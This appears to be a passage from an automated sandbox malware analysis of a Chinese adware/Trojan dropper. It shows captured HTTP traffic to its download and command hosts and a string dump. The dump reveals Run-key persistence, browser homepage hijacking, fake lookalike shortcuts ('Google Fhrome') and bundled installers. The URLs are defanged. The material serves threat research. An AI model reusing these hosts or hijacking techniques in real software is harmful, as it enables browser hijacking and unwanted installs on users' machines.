CF-RAY: 2add800bd24e4e5a-DME

<<< skipped >>>

GET /get_api/updata/udate1.txt HTTP/1.1

Host: d1.365codes.net

Cache-Control: no-cache

Cookie: __cfduid=d0cd628b1bd17d656ca1f502e44c325c11465065485

HTTP/1.1 200 OK

Date: Sat, 04 Jun 2016 18:38:13 GMT

Content-Type: text/plain

Content-Length: 452

Connection: keep-alive

Last-Modified: Mon, 02 Mar 2015 01:48:41 GMT

Accept-Ranges: bytes

ETag: "227fd228b54d01:2a05"

Server: yunjiasu-nginx

CF-RAY: 2add8023a2514e5a-DME

0QLtQkTFdURCBVVUV0Ut0iCN0lXt41WlhXZuAXZyh2YvEGdhRGc19SN1UTN602bj5ib39GZ1tWdr5CZv8iOwRHdo1DTSVFRB9ETOd1TEpQDd5VLetVZ4VmLwVmcoNWPF1UQOVkUBdFVG90UK0QLt4USHVkQQVFVFNVLtoQDK0QXe1iXb1lMb1TPO9USTJVRW9VRUV1QYV0XQVFVFNlCN4bsmDLx1a9snaNsXLLsg8yLK0gCN0SLE5URFRVQEBVVt0iCN0lXt41WlhXZuQWdfV2YpZnclN3LhRXYkBXdvUTN1UjOt92Yu42dvRWdrV3auQ2LvoDc0RHa9wkUVRUQPxkTX9ERK0QXe1iXbVGel5SOwADMx8FMfJXYk5WZsF2QNhVPF1UQOVkUBdFVG90UK0QXe1iXb1lMb1jTPl0USVkVEx0TK0QLtcURCVEVBREUV1SLKHTTP/1.1 200 OK..Date: Sat, 04 Jun 2016 18:38:13 GMT..Content-Type: text/plain..Content-Length: 452..Connection: keep-alive..Last-Modified: Mon, 02 Mar 2015 01:48:41 GMT..Accept-Ranges: bytes..ETag: "227fd228b54d01:2a05"..Server: yunjiasu-ngin..

GET /space_fenghuo_8061.html HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

Accept: */*

Host: VVV.kelepan.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.5.2

Date: Sat, 04 Jun 2016 18:22:05 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: PHPSESSID=pnsivdt4sknjigeiv50rtkeoa7; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

1f0b..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://VVV.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />..<title>................................255589175 - ...............-............_............</title>..<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />..<meta name="keywords" content=" " />..<meta name="description" content=" " />..<base href="hXXp://VVV.kelepan.com/" />..<link rel="shortcut icon" href="favicon.ico">..<meta name="Copyright" content="Powered by PHPDisk Team, Z-Core Advanced Edition 4.0 build20140425" />..<meta name="generator" content="PHPDisk Team" />..<script type="text/javascript" src="includes/js/jquery.js"></script>..<script type="text/javascript" src="includes/js/common.js"></script>..<script type="text/javascript" src="includes/js/tree.js"></script>..<script type="text/javascript" src="includes/js/jquery.mybox.js"></script>..<link rel="stylesheet" type="text/css" href="images/mybox.css" />..<script type="text/javascript">..document.domain = "kelepan.com";..</script>..<link href="templates/default/images/style.css" rel="stylesheet" type="text/css">..</head>..<body style="margin:0; padding:0;">..<div class="body_top">..<div class="l"><a href="./">....

<<< skipped >>>

GET / HTTP/1.1

Accept: */*

Referer: hXXp://iwannas.lofter.com/

Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: iwannas.lofter.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 04 Jun 2016 18:38:00 GMT

Content-Type: text/html;charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Content-Security-Policy: script-src 'self' *.netease.com *.127.net *.126.net *.163.com *.w3t.cn *.googletagmanager.com *.google-analytics.com *.googleadservices.com *.google.com res.wx.qq.com 127.0.0.1:* 114.113.202.197:* 10.241.1.94:* 'unsafe-inline' 'unsafe-eval' blob:;style-src * 'unsafe-inline' data:;

Set-Cookie: NTESLOFTSI=C6697CD27A3E854F06007CBFF326BF60.classa-lofter-tomcat-02-8010; Domain=.VVV.lofter.com; Path=/

Set-Cookie: firstentry=/blogindex.do?loftBlogName=iwannas&X-From-ISP=2|http://iwannas.lofter.com/; Domain=.lofter.com; Expires=Sun, 05-Jun-2016 18:38:00 GMT; Path=/

Set-Cookie: usertrack=ZUcIildTIAgisw7/B3CSAg==; expires=Sun, 04-Jun-17 18:38:00 GMT; domain=lofter.com; path=/

P3P: policyref="/w3c/p3p.xml", CP="CUR ADM OUR NOR STA NID"

325..<!DOCTYPE html>..<html>..<head>.<link media='screen' type='text/css' rel='stylesheet' href='hXXp://l.bst.126.net/rsc/js/pagelayer/pagelayer.css?0013'/><script type='text/javascript' src='hXXp://l.bst.126.net/rsc/js/pagelayer/pagelayer.js?0011'></script>..<meta name="themename" content="29002"/>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />..<title>.........</title>..<link rel="shortcut icon" href="hXXp://VVV.lofter.com/favicon.ico">..<link rel="alternate" type="application/rss xml" href="hXXp://iwannas.lofter.com/rss">..<meta name="Keywords" content="........."/>..<meta name="Description" content="......... - "/>..<meta name="image:Logo" content=""/>..<meta name="image:......" content="hXXp://img.ph.126.net/q9THNZMtmXAXULGwntGQ-g==/5629503932259639055.png"/>..<meta na..5a8..me="color:......" content="#dfdfe1"/>..<meta name="color:......" content="#828d95"/>..<meta name="if:............" content="1"/>..<meta name="if:.................." content="0"/>..<meta name="group1:" content="......750#......750|......850|......1000"/>..<meta name="group2:" content="...#......|......|.........|.........|......|.........|..."/>..<link href='hXXp://lofter.ph.126.net/Zk358Gd6qOMQJPvC6QDCiQ==/5629533619073584608.css' rel="stylesheet" type="text/css" />..<style>..a, a:hover, .day{color:#828d95;}...sidelist{min-width:535px;}...sidelist li a, .tag a, .active{b

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_2040:

.text

.rdata

@.data

.rsrc

t$(SSh

~%UVW

u$SShe

wininet.dll

shell32.dll

ole32.dll

user32.dll

kernel32.dll

ntdll.dll

advapi32.dll

HttpOpenRequestA

HttpSendRequestA

HttpQueryInfoA

ExitWindowsEx

{B6F7542F-B8FE-46a8-9605-98856A687097}

{A0005538-9391-4dd9-B4D6-8EB7B9360F08}

{A068799B-7551-46b9-8CA8-EEF8357AFEA4}

_ysetup_675_11002.exe

`.rdata

@.reloc

8%u/P

F%D,3

operator

GetProcessWindowStation

_CorExeMain

.detour

123.57.73.64

hXXp://d1.365codes.net/get_api/Path/UPath2.txt

UContext.txt

?456789:;

!"#$%&'()* ,-./0123

%s\%s

Software\Microsoft\Windows\CurrentVersion\Run

?mac=%I64d&clickurl=%s&fromurl=%s&ver=%d&unionid=%d&iver=%d&uver=%d

EXPLORER.EXE

RegOpenKeyTransactedW

RegCreateKeyTransactedW

RegDeleteKeyTransactedW

?mac=%I64d&ver=%d&uver=%d&iver=%d

?name=%s&mac=%I64d&ver=%d&uver=%d&iver=%d

\Google\Chrome\User Data\Default\Preferences

\Mozilla\Firefox\

\prefs.js

user_pref("browser.startup.homepage",

user_pref("browser.startup.homepage", "%s");

E:\code\operate_text1015\operate_text\svn_20141027_newclick\Release\XXM XiaoXiaMi_0_11001.pdb

KERNEL32.dll

USER32.dll

GDI32.dll

COMDLG32.dll

RegOpenKeyExA

RegCloseKey

RegDeleteKeyW

RegQueryInfoKeyW

RegEnumKeyExW

RegOpenKeyExW

RegCreateKeyExW

RegCreateKeyW

ADVAPI32.dll

ShellExecuteW

SHELL32.dll

OLEAUT32.dll

SHLWAPI.dll

COMCTL32.dll

MSIMG32.dll

WS2_32.dll

InternetOpenUrlW

HttpQueryInfoW

FindFirstUrlCacheEntryW

DeleteUrlCacheEntryW

FindNextUrlCacheEntryW

WININET.dll

IPHLPAPI.DLL

GetProcessHeap

GetCPInfo

#*1892 $

%,3:;4-&

.?AUDWebBrowserEvents2@@

zcÃ

,.GuB

h%X)DL

D7f%u

C&r x8%9s

;8.xA9

1%1 121:1

8Â879

8$8*80868>8

4%4-494F4Q5W5b5o5u5}5

0#0'0-01070;0

? ?$?(?,?0?4?8?

: :$:(:,:0:4:

8 :,:0:4:8:

'hXXp://ocsp1.wosign.com/class2/code/ca106

*hXXp://aia1.wosign.com/class2.code.ca1.cer07

&hXXp://crls1.wosign.com/ca1-code-2.crl0G

hXXp://VVV.wosign.com/policy/0

!Certification Authority of WoSign0

hXXp://crls1.wosign.com/ca1.crl0g

hXXp://ocsp1.wosign.com/ca10.

"hXXp://aia1.wosign.com/ca1-tsa.cer0

hXXp://crls1.wosign.com/ca1.crl0o

hXXp://ocsp1.wosign.com/ca106

*hXXp://aia1.wosign.com/ca1-class2-code.cer0

!Certification Authority of WoSign

hXXp://iwannas.lofter.com/

VVV.133cs.com

https

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

http=

HTTP/1.1

Content-Type: application/x-www-form-urlencoded

hXXps://

hXXp://

C$%cmb

.ppM|

aZ.mO

%-^

.hk;~

KERNEL32.DLL

MSVCRT.dll

MSVFW32.dll

SkinH_EL.dll

C:\\888.txt

D:\\~\qq.ico

D:\\~\pstnet.exe

%Documents and Settings%\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\

%Documents and Settings%\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\360

6.lnk

b/?%F

D:\\~\360

D:\\~\p2stnet.exe

%Documents and Settings%\

C:\Users

D:\My Documents\Desktop\360

D:\My Documents\Desktop\

C:\Users\

C:\Users\\Public\\Desktop\360

C:\Users\\Public\\Desktop\

C:\Users\\Administrator\\Desktop\360

C:\Users\\Administrator\\Desktop\

D:\Users\\Administrator\\Desktop\360

D:\Users\\Administrator\\Desktop\

%Documents and Settings%\All Users\

7.lnk

%Documents and Settings%\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\2345

D:\\~\2345.ico

D:\My Documents\Desktop\2345

C:\Users\\Public\\Desktop\2345

C:\Users\\Administrator\\Desktop\2345

%Documents and Settings%\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\QQ

%Documents and Settings%\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\Q Q

%Documents and Settings%\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\QQ

D:\My Documents\Desktop\QQ

D:\My Documents\Desktop\Q Q

D:\My Documents\Desktop\QQ

C:\Users\\Public\\Desktop\QQ

C:\Users\\Public\\Desktop\Q Q

C:\Users\\Public\\Desktop\QQ

C:\Users\\Administrator\\Desktop\QQ

C:\Users\\Administrator\\Desktop\Q Q

C:\Users\\Administrator\\Desktop\QQ

.icEC#\4

6%D["

vc.zt&=

D:\\~\

%Documents and Settings%\\All Users\

..lnk

D:\\~\223.ico

D:\\~\33.ico

%Documents and Settings%\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk

%Documents and Settings%\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\Google Fhrome.lnk

D:\\~\gg.ico

Google Chrome

\Google Chrome.lnk

\Google Fhrome.lnk

\Desktop\Google Chrome.lnk

\Desktop\Google Fhrome.lnk

C:\Users\\Public\\Desktop\Google Chrome.lnk

C:\Users\\Public\\Desktop\Google Fhrome.lnk

C:\Users\\Administrator\\Desktop\Google Chrome.lnk

C:\Users\\Administrator\\Desktop\Google Fhrome.lnk

D:\My Documents\Desktop\Google Chrome.lnk

D:\My Documents\Desktop\Google Fhrome.lnk

%Documents and Settings%\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\360

D:\My Documents\Desktop\360

C:\Users\\Public\\Desktop\360

C:\Users\\Administrator\\Desktop\360

D:\Users\\Administrator\\Desktop\360

.pY,;

.aN&{

%,%D"

Oz%Fz9t]?

F8:Ã‚; A,>2A)>;B%>DE"ALE

D:\\~\2345

D:\Users\\Administrator\\Desktop\2345

%Documents and Settings%\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\UC

D:\\~\uc.ico

D:\My Documents\Desktop\UC

C:\Users\\Public\\Desktop\UC

C:\Users\\Administrator\\Desktop\UC

D:\Users\\Administrator\\Desktop\UC

%Documents and Settings%\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\Mozilla Firefox.lnk

%Documents and Settings%\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\Mozilla Rirefox.lnk

Mozilla Firefox

\Mozilla Firefox.lnk

\Mozilla Rirefox.lnk

\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk

\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Rirefox.lnk

D:\My Documents\Desktop\Mozilla Firefox.lnk

D:\My Documents\Desktop\Mozilla Rirefox.lnk

\Desktop\Mozilla Firefox.lnk

\Desktop\Mozilla Rirefox.lnk

C:\Users\\Public\\Desktop\Mozilla Firefox.lnk

C:\Users\\Public\\Desktop\Mozilla Rirefox.lnk

C:\Users\\Administrator\\Desktop\Mozilla Firefox.lnk

C:\Users\\Administrator\\Desktop\Mozilla Rirefox.lnk

D:\Users\\Administrator\\Desktop\Mozilla Firefox.lnk

D:\Users\\Administrator\\Desktop\Mozilla Rirefox.lnk

%Documents and Settings%\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\hao123

D:\\~\123.ico

D:\My Documents\Desktop\hao123

C:\Users\\Public\\Desktop\hao123

C:\Users\\Administrator\\Desktop\hao123

D:\Users\\Administrator\\Desktop\hao123

%Documents and Settings%\Administrator\

.uuxz

_ %S4Dd

RUBV%uJ

bZ22b%ss

C:\888.txt

wshom.ocx

WindowStyle

Hotkey

c:\daohang.txt

1.txt

2.txt

q1249967666 BlueSoftSetup_bsdlicih.exe

1249967666 BlueSoftSetup_bsrjnnoh.exe

1249647555

BlueSoftSetup_bsgzvcoa.exe

BlueSoftSetup_bsenadpd.exe

BlueSoftSetup_bsdgfaza.exe

hXXp://VVV.xwcent.com/exe/rc

hXXp://t.cn/RvbgH8X

hXXp://soft.hao123.com/soft/appid/10510.htmlhXXp://VVV.qq5588.com/daohang/5w

F%*.*f

CNotSupportedException

commctrl_DragListMsg

Afx:%x:%x:%x:%x:%x

Afx:%x:%x

COMCTL32.DLL

CCmdTarget

__MSVCRT_HEAP_SELECT

iphlpapi.dll

MPR.dll

WINMM.dll

VERSION.dll

WinExec

GetWindowsDirectoryA

GetKeyState

GetViewportOrgEx

WINSPOOL.DRV

RegCreateKeyExA

ShellExecuteA

CreateDialogIndirectParamA

UnhookWindowsHookEx

SetWindowsHookExA

SetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

ScaleViewportExtEx

GetViewportExtEx

comdlg32.dll

.PAVCException@@

.PAVCNotSupportedException@@

.PAVCFileException@@

(*.prn)|*.prn|

(*.*)|*.*||

Shell32.dll

Mpr.dll

Advapi32.dll

User32.dll

Gdi32.dll

Kernel32.dll

(&07-034/)7 '

?? / %d]

%d / %d]

: %d]

(*.WAV;*.MID)|*.WAV;*.MID|WAV

(*.WAV)|*.WAV|MIDI

(*.MID)|*.MID|

(*.txt)|*.txt|

(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG

(*.JPG)|*.JPG|BMP

(*.BMP)|*.BMP|GIF

(*.GIF)|*.GIF|

(*.ICO)|*.ICO|

(*.CUR)|*.CUR|

%s:%d

windows

out.prn

%d.%d

%d / %d

%d/%d

Bogus message code %d

(%d-%d):

%ld%c

VVV.dywt.com.cn

.PAVCObject@@

.PAVCSimpleException@@

.PAVCMemoryException@@

.?AVCNotSupportedException@@

.PAVCResourceException@@

.PAVCUserException@@

.?AVCCmdTarget@@

.?AVCCmdUI@@

.?AVCTestCmdUI@@

.PAVCArchiveException@@

#include "l.chs\afxres.rc" // Standard components

C:\\daohang.txt

hXXp://VVV.2345.com/?k304378241.txt

3.txt

4.txt

5.txt

6.txt

D:\\~

0.010000

0.005000

0.31250000

0.020000

99999999

999999999

106100002=

106200003=

106300004=

107100002=

107200003=

120100001=

120200001=

120100002=

120200002=

136100001=

137100001=

138100002=

141300001=

CNhXXp://sda.4399.com/4399swf/upload_swf/ftp15/csya/20150127/1/zmxy4201501270.htm

hXXp://extlogin.4399.com/qzone/callback.do?code=

hXXp://sda.4399.com/4399swf/upload_swf/ftp15/csya/20150127/1/zm4v027.htm

hXXp://pan.baidu.com/s/1qWPqOlY

hXXp://VVV.kelepan.com/space_fenghuo_8061.html

HChXXp://VVV.4399.com/flash/151038.htm

Hpjavascript:parent.window.UniLogin.toQzoneLogin(true)

javascript:parent.window.UniLogin.toWeiboLogin(true)

hXXp://my.4399.com/forums-thread-tagid-82186-id-45528307.html

@5201314

@52013.14

@VVV.133cs.com/zmxx.html

200001001=

210001001=

210001002=

220001001=

220001002=

201001001=

211001001=

211001002=

221001001=

221001002=

200002001=

210002001=

210002002=

220002001=

220002002=

201002001=

211002001=

211002002=

221002001=

221002002=

200003001=

210003001=

210003002=

220003001=

220003002=

201003001=

211003001=

211003002=

221003001=

221003002=

200004001=

210004001=

210004002=

220004001=

220004002=

201004001=

211004001=

211004002=

221004001=

221004002=

200005001=

210005001=

210005002=

220005001=

220005002=

201005001=

211005001=

211005002=

221005001=

221005002=

230001001=

230002001=

230003001=

230004001=

230005001=

231001001=

231002001=

231003001=

231004001=

231005001=

301010001=

311010001=

321010001=

331010001=

302010001=

312010001=

322010001=

332010001=

00000000

9999999999999

hXXp://sda.4399.com/4399swf/upload_swf/ftp15/csya/20150127/1/v03main2.htm

VBScript.RegExp

hXXp://VVV.liushav5.com

hXXp://VVV.520msfz.com

hXXp://pan.baidu.com/share/home?uk=4283998795

hXXp://VVV.52zsb.com/thread-8909-1-1.html

hXXp://VVV.9553.com/soft/32551.htm

hXXp://VVV.52fzba.com/gamefz/67503.html

VVV.133cs.com/zmtj.html

hXXp://VVV.qqtn.com/gamefz/67503.html

hXXp://VVV.ucbug.com/zmxy4/39074.html

hXXp://VVV.52zsb.com/forum-132-1.html

hXXp://VVV.52zsb.com*

hXXp://openapi.qzone.qq.com/oauth/show?which=ConfirmPage&display=pc&response_type=code&client_id=100266617&redirect_uri=hXXp://extlogin.4399.com/qzone/callback.do&state=postLoginHandler=default&redirectUrl=&appId=dev4399&gameId=&cid=&aid=&ref=&autoLogin=falseT

hXXp://my.4399.com/jifen/product-id-7404?chesnhifuzhu,

hXXp://my.4399.com/forums-thread-tagid-82186-id-45537190.html?chenshifuzhu

hXXp://huodong2.4399.com/2014/millionpack/guide/?chenshifuzhuZ

12:30,18:30

hXXp://huodong2.4399.com/zmxy/2015jiayou/?chenshifuzhua

48000814

48001614

48002414

48014414

48015214

48016014

48016814

48013614

48012814

64001614

120000814

120001614

120002414

8000814

64007214

64008014

152001614

64008814

64009614

168000814

184000814

8000501~8000510

128000814

40000814

88000814

160000814

168001614

152000814

40002414

40003214

648001614

136000814

64001614

48033614

176000814

64012014

40001614

64002414

VVV.52zsb.com

hXXp://item.taobao.com/item.htm?id=43725951860&csfzzmxy4|

8 6\*1000)

hXXp://xmg.qq5588.com/tongji/ztj.html?chenshi

%d&&'

123456789

00003333

%$%,%4%

S%T%U%V%W%X%Y%Z%[%\%]%^%_%`%a%

b%c%d%e%f%g%h%i%j%k%l%

W%X%Y%Z%[%

Z%T%i%f%`%P%l%

%$%a%b%V%U%c%Q%W%]%\%[%

%,%$%4%

eZl%u

Q.YeY

R:\Sg|p5rL

e$e#e e4e5e7e6e8eKuHeVeUeMeXe^e]erexe

s4s/s)s%s>sNsOs

qq!r!x!/!L"k!^!-!y"_!`!!&"&$&%&&&'&(&)&*& &,&-&.&/&0&1&2&3&4&5&6&7&8&A&B&C&D&E&F&G&H&I&J&K&L&M&N&O&P&Q&R&S&T&U&V&W&X&''!'"'#'$'%'&'(')'*' ','-'.'/'0'1'2'3'4'5'6'7'8'9':';''?'@'A'Q'R'S'T'U'V'X'Y'Z'['\']'^'_'`'a'b'c'd'e'f'g'h'i'j'k'l'm'n'o'p'q'W'>!=!B!F!G!H!I!w"x"E!D!s"l!m!("n!r" ","*"-"M"N"O"_"P"`":";"]!e"g"g!\"J"K"A"@"i"j"h!h"f"b"b!a"e!f!c"d">"?"(9(4(((8(=(3(*(:(?(5( (;(@(6(#"""%"$"'"&"!"~!{!}!|!~"z!y!j!i!v"u"t"!!"!#!7!9!:!;!R!S!T!U!V!W!X!Y!Z![!)"."L!M!A!!$"$#$$$%$&$'$($)$*$ $,$-$.$/$0$1$2$3$4$5$6$7$8$9$:$;$$?$@$A$B$C$D$E$F$G$H$I$J$K$L$M$N$O$P$Q$R$S$T$U$V$W$X$Y$Z$[$\$]$^$_$`$a$b$c$d$e$f$g$h$i$j$k$l$m$n$o$p$q$r$s$ !,!5!6!!%"%#%$%%%&%'%(%)%*% %,%-%.%/%0%1%2%3%4%5%6%7%8%9%:%;%%?%@%A%B%C%D%E%F%G%H%I%J%K%L%M%N%O%P%Q%R%S%T%U%V%W%X%Y%Z%[%\%]%^%_%`%a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q%r%s%t%u%v%&!0;e>>NBJ$PfC%Pz6&P]40Cg P52e6p8iL&VpM}FE5,P-P;N=MhA/Pv;sF2P>1_8^8f0KOJO3:!03P4P5P4K6Pr8g0rK|5}5~5bDP

B?PUIg@8!@PBPeBaNJ0AP>2D6gCo7CP$Gk4DPK0`8l4zI2HY5q2gPAElGFPMEPGPn:HP$UPPSPQPB2;JKPOPs8H;&4TPLPcNx;MPRPUPNP!6M0"6A2%UyKnIt8/?7NXJ87Â½2S=YP^P\PWP/BZP]P[P]JXP.?sK_P`P$=mPPG6IhPpJ62lPfPoPRAD8\GG`nP]EcPv8u8aPZQ~F4A@QAQ,Hx8;OBQ&6L{Qd3uQsQOAwQvQD3`7|Q-NxQ}QzQyQONy8C2tNu=XEe9"R#ReN O%Rz8$R/3&RVK)RgJ-R*@*RP6 R 4.7.R/R0R1R[)6:R[H;RR$Ih6e0?F?R==i@AR@R#>a8CR>HDR\H4BnB(6nF1CnGNKFRj@57GRHR,1u0m4(BQ5qMKR72JR*6LRqLMRRN|868NRPROR_?91^1QRRR78SRn52;TRtK5:Z5'MPA?H}\RZRD2fB8F>L!9yMGE~8/7gRc6JK]HfR^4aRbRdReR[5a?-JcR_Rc8`R$OrJhDb8p9hR]FlR~Si:13yR%Sv0$S%0JI"S|RwR}RH:&Sw0/S'S(S%>iK-S,S/E.S S416:0?)SbE*S"04S#M'>:S9S0SCB1SoB6S&>3SdL31WS^2bS|>^S\S]S_S=19AYSZSz3aSo4dS`ScS.JUF8HfSeSE3gSjSiShS9GkSlSnSmSpSsSqSoSrStSuSvSwSxSEQ|?T@T>TBT8Gh0VICT}>9HEf:NT=J]Nt2JT:AMTcEIEdE9HMDI:ITv16EKTGTP?OTN=-6PThJ}AFDRTOKSTXT/JWTQTTTVT&:IJYTECu2m>[TZTh9\T^T]T`TUTbTaT_TN;Q?TAcT~T%C}T3Jw=[E!U%9"U!G^HQL%G U85EM/L,V#U&UEB8KJE'UeKJ:*>(UP;O;90H8 @Q0,U-U*U81/4)UEL1I(0y0Q;R0#02U0U4U,OLG6U':9UXI:U5U;L^G;U2IUy7LUEUBUdCAUCUDUFUGUr4IUHUJUn>MU\DE1KUNUOURUPUQUR;SU&9TUz;8BUUVUZ;'9RL(5I8WUX3XU9BYU#VZU[U\U^U_U`UpB'1iH2bUFMI=drUsUS0:BR?tU3F.>/>uUm@0>vUwU`LxUF6"=yUzU\VGVFVEVAV@VDVxJKVHVJVrMIV?Vs?LV7:MVNVQVPVOVhE:VWVSVRVTVUVXVfNYVVVZV`4[V]V\V^V_Vn@#=d=cA)98:*9p5`V9:J8aV&LCGbV 9,4'CR6T;[IAHcVu4fV!DeVdVgVkDc?U;J@SB"5"DhViVo>9KlVkVjV}IsVZKmVoVkKnVpV(HqV>JrV34?J/GtVuV,944vV88DM)Mv4xV#D-91>_H2>x=lDyJ9E.9\IyVYEB:K8mDC0n=/9GMzV{VQG|VwN-O~V}VG3!W$W%W#W@I3>'W&W"W(W)W*W-W W,W.Wd1nD/Wz7v26G0W{F[J1W.O2W@J5W!P1P0W@WvEAWBWCW4W3WDWA7'IL:7I&DKIEW4>F1FWGWrL`HJW}1,@IWHWB7TBNWLWKW'Ne8y=MWLE>=@FQWPWOWRWf8SW|I[=TWyHAF'D0EUW 54?,Iw4&GVWV;:K;K~1[WiCXWw2-XZW0GYWWWz9]WcWiWaW\EfW]I`WeWgNW;UB^W^5hW-@e1bWx2gW16dWjWlWvWtWqWpWxNrW2619z=yWkWoW_Wz2sWuWQC(:82mWxWwW36)Bf3C7nWzW}W!X=/XWFGO X1X{9K@T0*X(XZA|W4;FB=X[A8X5X6XfX?XU03Xr6&064;XCXBXGXHXFXIXAXEXJXKX@X|;DXVB292X5?XXiJNXOXPXWXVX}K74TXE743QX8NSXV0UXLXRXYXD7MX]M M\X`X~AyNaX^X[XZX_X0J4FF7bX]XcX{712kX84iXjX):hXfXeXlXdXnX{2pXoX(DsXqXgX|7rXvXuXwXtXxXyXzXjJ|X{X?=.@f2|2}X?0L@~XCl!Ya7"Yo@#Y$Y:5%Y&Y'YWBM8aL;50Y7Y6>1YDG^M3Y4Y8YjE5Y39^@FY4HrBdH-ZzJqDuK;Y!2jCDY4C>YEY@YGYCYBYoGAYRGr5H3g3!?IYNYJY}7OY";i9&==Y};LYX;MYD0HY)Ds546KY'0C:6?rDTHQY^A*B ;RYTYPYaJ=D\A{JNhF1GWY]AxVY[YSGUY!7]3]Y NN:5CZY\@59d?f15Z9Z7Z8ZpY;Z:ZxYZ@Z?ZAZ~269|J/@N8CZFZRI_5EZDZTGGZ56IZHZ:46;XFI7t?JZ0@(E_IKZLZMZ8J]UF@LIX:eHCHMEANOZP_Z;>@L*:W0N@fZ1@G1U=fKr:'@eZcZdZkC&[jZ~;89hZiZ8?gZ/;lZkZpZqZmZ"3nZoZUHaIJ7rZ2@=>RCG6sZwZK2tZvZuZk=HCE0xZyZ*DqNC;kJ=K"[{Z~Z}ZzZ![^F|Z#[l=$[KMxG%['[([)[J6H199*[ [q=bAXR>A=AXBG:rPn7-M~J~I,[s:?D-[/O>K D.[|4/[0[ZL$LvK\K%;2[k;[NE9[ B:[r>]L>DHG[zH>[D[C[O@mKSNgKL2^;HOF[u?E[@[O8L[J[M2H[N[T[HBAJV["IU[pG?K;4w@@=SD.MQ[P[R[O[W[M[K[S[I[lCxLF<::oka3ndjfi1r>mTh8|Mh[tD#3-:`[p[a3n[r[nE~42\ILw[}4~[@K!\#\'\y[*CoE \|[(\"\9?,\3@*\=4POv[&\X0x[:L}["?GDs[%\z?/\q3!81\z[0\)\{[-\.\?\NF$\;\=\XDLMvI8\JB>\?A5\B\A\oF@\jFD\7\H6:\]=`GOLx\k\"8#2_3S\A>p\w\y4=]]N27C?]?4A]@]B]C]D]_;5@!:pIbJDOu;P:rNE]F]`;G]H]J]I]XK^=l9SCi]q]j]ABb5r]h7%5p]n]k]`M@DYFl]t]s]#7-2;:m]o]WKtBwK|]}]O2(J}L!^#x]~]h176u]z]t@qGgHw]!Ky]$^"^{]"KHGc5%EmC%^#^YBv]K1NM0^/^v@,^lM6F&^EDL1?9)^'=.^-^(^ ^h3*^IG.Nt>u@6^4^MI1^3^:1@92O=3bIaM$3;?5^:^C>0M7^2^8^^NsEBF63U1>^A^CNdMH^B^?^TNE^J=G^L^qEJ^D^8CK^@^F^M^|0C^N^=^B=L79CT^/MW^P^rES^Y^QO>_<_ _ioe_i_g_c_d_h_f_nin_k_j_m_tfo_ucmb>3AF>{Nj_y@f_k_l1i_aGe_h_H>QHl_Q59`:`$8HH;`86=`?`>`@`Q8A`i6@A}9C`D`B`m7IHc`~`i`=8e5f`}M0NvBh`j`VNW6|HJGk`m`p`l`o`j8M1q`p?n`\Nt`$tr`u`g`s`<:v a-a.a0a h-i>aVHAaBa[0v>GaDamFCa&5JaEaFaIaHa%IBAAA?5KaLaMaOaNaV1WahHQaSaUa>?VaTa@YaXaZa&[aKD]a!N\aiAbadaeaTCca`a^a_aaahafagaiakalamanajapaoaqaENtarasab4~LJJvauawaxa|ayaza{a}a~a!b"b#b/HPE$brG4I%b&b*E'3D9'b(b)b); b*b,b-biH.b/bis0b1b2b.;3bVG_KN1W14b6b5bpE9@9]7bAL8bF4WH9b:b;b\LUL>DjA=bb=J>@b?b>b}HG4)8FbCb??2LBbDbEbAbGbHb/Dc4eCIbJbMbg?DFNbSKKbLbQbPbObSbRbTbVbUbMJV=FNWb7FXbYb]b[b\bZb^b_b`bab7LbbpLcbNCjGk6;Cdb:6P@eb=:fbgb&8U:ibVEV:N5$KKGWE\9kbK>2NE9'8#Hmbobk8nbvDqb73lbjH01l:ROpbrbKJY@tbubsbN3{bzb'ÃŒA'c&c(chbjb*c)c(ckHEAAcBciGA??caC@cN>\0)5CcxDDcG@-L#IEcFcUCGNHcGcoScO3Ucj7f5Vcu6Wc|@MF`@u:XcbCkAZc\cYc[c"7]c&7g5RM_c`c.1ccv3bcacec^cfc)NgchctTjcickclc5NmcopO>ncocW=8Fpc(Cqcxcyc Ezc^3Z?dI|chBwc{c}c{:&d.I&HyEZ6%d#d5H~c^C{EzEv:8d(d*d-d.d 